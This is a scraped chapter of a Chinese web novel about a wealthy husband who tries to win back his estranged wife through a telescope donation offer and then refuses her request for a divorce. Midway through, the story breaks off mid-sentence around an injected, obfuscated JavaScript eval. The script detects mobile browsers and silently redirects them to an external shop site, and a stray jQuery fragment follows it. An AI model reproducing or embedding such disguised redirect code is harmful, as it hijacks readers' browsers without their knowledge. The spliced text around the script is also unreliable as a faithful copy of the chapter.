文趣网 > 都市小说 > 拒做港圈大佬的痴情原配 > 47. 第 47 章
    大概过了几个星期之后,那一天,学校某位领导来找杨晓夕,说是有位先生看过她发表在社会科学上的刊物,对于学校的天文器材捐赠有兴趣,想找她了解,如果可以的话,他愿意捐赠学校一套天文望远设备。

    这是好事,杨晓夕应了下来,随同负责人去了某个会所包厢,一进门就看到坐在里面的任斯年。

    负责人跟他打过招呼,又为两人做了简单介绍,接着便将空间留给两人交谈,自己出去了。

    而杨晓夕在看到任斯年那一刻,期待和憧憬全化为泡影。学校天文望远设备老旧,天文学社团的人一直都在尽自己的努力,希望能拉到捐赠,有些学长学姐甚至到处演讲。有人对她的文章感兴趣想捐赠,杨晓夕听到这个消息时很开心,可是当时有多开心,在看到任斯年时就有多失望。

    “怎么是你?”杨晓夕冲他道。

    她对他无视了这么久,这是几个月来她对他说的第一句话。要见她一面还真是不容易,即便她看他的目光依旧透着冷意,问出这句话的语气也并不友好,但此刻任斯年心里是开心的。

    他温和有礼冲她打招呼,“晓夕好久不见了。”

    杨晓夕深知任斯年此人心机,以捐赠为名诓她出来见面或许也只是他的套路,所以不同于任斯年的开心,杨晓夕是一种被耍的愤怒。

    而这句好久不见在她听来更像一句挑衅,就好像再说,躲着不见我又怎么样,现在还不是主动来见我了。

    “你在逗我玩吗?”杨晓夕冲他道。

    任斯年自然看到她面上浮现的不快,也知她误会了,所以他道:“当然不是,我确实是有捐赠的想法。”

    “是吗?你什么时候对天文学感兴趣了?”

    “我太太是研究天文的,作为丈夫,我总不能对天文一无所知,不过我了解的确实有限,晓夕你可以跟我讲讲,如果你的话确实能打动我,我愿意捐赠给学校一台设备。”

    任斯年对待她的态度好了很多,这个人即便平日里温文尔雅的,但身上总有一种距离感,高高在上的,俯视人的,而且身上也总有一种掌控一切的笃定从容。

    不过自从那日说出对她的心意之后,那似有若无高高在上的感觉就淡了很多,变得很平和,那温文尔雅也不再浮在表面,有了实感。

    可即便如此杨晓夕依旧觉得和他过多纠缠浪费时间,不过她又冷静下来思考,若是任斯年愿意捐赠的话,这也不失为一次机会。

    虽然面对任斯年让她感觉烦躁,可杨晓夕在犹豫片刻之后还是选择留下。

    任斯年见她在桌前坐下,嘴角不自觉勾起一抹笑,急忙招来服务员将菜单给她点。杨晓夕随意点了几个菜,便耐着性子将自己一路上准备好的话讲给他听,比如天文学社团的学生对天文学的热爱,比如天文学中趣味的事情,比如学校天文观测设备老旧对研究天文学的阻碍。

    她准备得很充分,暂时忘却任斯年的身份,用一种客观而礼貌的态度跟他讲述和天文有关的一切。

    实际上能听到任斯年耳中的话并不多,他的目光全在她的脸上,她张嘴说话时的表情,这几个月来面对他时难得柔和的态度,还有她对于天文学知识的储备,让他像听天书一样。心底赞叹她的厉害,眼底却完全无法自控欣赏着她的美。

    以前怎么就没有发现呢,杨晓夕竟这么有魅力。

    杨晓夕说完任斯年没接话,只一双目光落在她身上,倒不灼热,微笑着,这眼神却看得杨晓夕微微蹙眉。

    “任先生,你在听我讲话吗?”

    “当然,你讲得很好。”

    正好上菜,他将一盘她喜欢的醋溜排骨往她跟前推了推,若闲聊一般说道:“你最近在学校怎么样?在学校不如在家里方便,也没人照顾,饮食上也没有家里细致,如果没那么忙的话,也回回家。”

    听到这话杨晓夕耐心告罄,她已经足够冷静,也足够有礼貌,说了那么多话,可他似乎并没有放在心上。

    杨晓夕站起身,“任先生,我该说的都说了,剩下的我们也没什么可聊的了,至于任先生要不要捐赠设备,就看任先生自己了。”

    杨晓夕说完便向门口走去,任斯年几乎是没有思索,起身,大跨步上前拽住她的手腕。

    “我并没有说不给学校捐赠望远镜,只是出于家人的立场,我想知道你的近况,你过得怎么样。”

    “我出来是见捐赠者的,并不是来和你聊生活的,我和任先生也并没有什么好说的。”

    “那就一起吃个饭,什么都不说好吗?”

    杨晓夕却挣开他的手,解释也懒得了,直接向前走,任斯年被他不客气甩开,手中一空,愣了片刻急忙回神,在杨晓夕出门前又扣住她。

    毕竟不管是她的动作还是她的话都很伤自尊,而任斯年这样养尊处优的矜贵公子自然有他的骄傲。

    眼底确实带着火气,原本平静的面容也因为愤怒紧绷,杨晓夕甚至能看到他胸口不平的起伏,可他压抑得很好,压抑着说出口的话甚至让她感受到了柔意。

    “晓夕,你就那么讨厌我吗?连饭都不愿意跟我一起吃?我自问我也从未亏待过你吧?生活费从未克扣,你想要去皇家天文台我也尽力帮你办到,而现在你需要天文望远设备,我也愿意捐赠,我真的不知你为什么这么讨厌我?”

    “任先生我想你应该搞错了,我并不讨厌你,我甚至愿意继续和你做夫妻,继续合作我们的夫妻关系,我讨厌的只是你的喜欢。”

    “讨厌我的喜欢?”

    “对,讨厌你的喜欢,你的喜欢让我困扰,让我厌烦。”

    杨晓夕的话直白而干脆,像刀子一样。内心又被激起一股火气,任斯年稍稍闭眼克制,睁眼时,眼底不自觉有红晕弥漫,说话的语气倒还算平和。

    “我不明白,晓夕,我为什么不能喜欢你,我是你的丈夫,你都愿意和我继续做夫妻,作为丈夫喜欢你不是天经地义的吗?”

    “你当然可以喜欢任何人,喜欢谁都是你的自由。但你的喜欢你自己知道就好了,我已经说明了我对你的态度,我不喜欢你,我对你没有感觉,我不想回应你的喜欢,而你因为喜欢我对我的每一次接近也都让我厌烦,正常人得知答案都该见好就收吧?任先生,我甚至都可以不过问你的私生活,如果你真的需要感情慰藉或者别的什么,你完全可以有自己的感情生活,不管你和徐小姐或者别的什么小姐都可以。我们就像以前那样不行吗?互不过问,各忙各的,不行吗?”

    任斯年无法形容听到这话之后的感受,他并不是感情白痴,也谈过不少女朋友,可每一段感情基本都是别人主动,他被动接受,却在厌倦后主动结束。

    这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644285|204076||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还是第一次他主动而认真想要和一个女人发展感情,这个女人还是他的妻子,本应该水到渠成。

    可听听她说的什么话,说她不在意他有私生活,他可以和别的女人发展感情,这是作为一个妻子能说出口的话吗?

    自尊被践踏的愤怒一股股涌上来,他能感觉到颈侧脉搏处,因为情绪起伏而剧烈的跳动,可即便在这种时候他却始终控制着自己的怒火。

    连他都觉得意外的是,再次开口时,他的语气竟是出人意料的柔和。

    “晓夕,是不是因为我曾经冷落过你?很抱歉晓夕,给我一次机会好吗?我知道以前是我不好,是我忽略了你的感受,所以你给我一次弥补的机会,或许慢慢的,你也会找回曾经喜欢我的感觉。”

    说真的,眼前任斯年的表现着实让她意外,她想到了此人的阴险,哪怕在追求她这件事上他都有着绝对的掌控感。

    明知她卖掉了他送的手表也不动声色买回来让她重新收下,他身上总透出一种上位者掌控一切的从容。

    可是现在,愤怒到极点却还克制着情绪发作,他极力柔和的语气,让她听出了他话中的恳求,就好像那个上位者突然失掉了身份,难得露出他的低姿态。

    杨晓夕在诧异过后却觉得可笑,骤然想起曾经的杨晓夕是不是也这样,在那日大雨中,她曾也苦苦哀求他让她见一面。

    身份调换,没有太多你也有今天的爽感,她只是为曾经的杨晓夕感到不值,也为任斯年的纠缠而感到厌烦。

    杨晓夕果决抽回自己的手,她道:“抱歉任先生,没感觉就是没感觉,感情这种东西也是没办法培养的。”

    她说完便直接转身离去,任斯年看着她离去的身影呆立良久,周围陷入寂静,任斯年在餐桌前坐下,看着眼前摆着的都是她喜欢的菜色,自嘲一笑。

    质问接踵而至,有些不明所以,任斯年你究竟在做什么啊?

    怎么走到了这般境地,竟然还做出挽留她的事情。

    她的意思太明确不过了,她对他没有兴趣,一点兴趣都没有,巨大的无力感扑面而来。从小到大,他想做的事情没有一件不成功的,不管用什么方式,总之他得到了他想要的一切。

    可是面对杨晓夕,本应该十拿九稳的人,他的太太,却让他这么挫败,可他又能怎么做呢?她不喜欢他,难道要强迫她喜欢吗?他也不屑那样做。

    几天之后赵英再次找到杨晓夕,转达了任斯年想和她见面的想法,杨晓夕正准备拒绝,却听赵英说道:“先生想和太太谈谈离婚的事情。”

    离婚?任斯年想通了?

    杨晓夕道:“好,我知道了,这个周末回去。”

    周末杨晓夕回到别墅,管家告诉她,先生在书房等着,杨晓夕上了楼一眼就看到那站在书房门口的任斯年,面无表情的,用一种深沉而捉摸不透的眼神盯着她。

    连故作温文尔雅的招呼都没有,看到她上来他便转身进了书房,杨晓夕跟过去,却并未在桌上看到离婚协议。

    任斯年走到窗边,拉开窗户,摸出一根烟点燃,屋中寂静,他默不作声,身上那淡淡的压迫气息在空气中扩散,氛围也不自觉凝重起来。

    杨晓夕问他:“不是要谈离婚吗?离婚协议呢?”

    他吸了几口烟才说道:“晓夕,我说过了,我不会离婚。”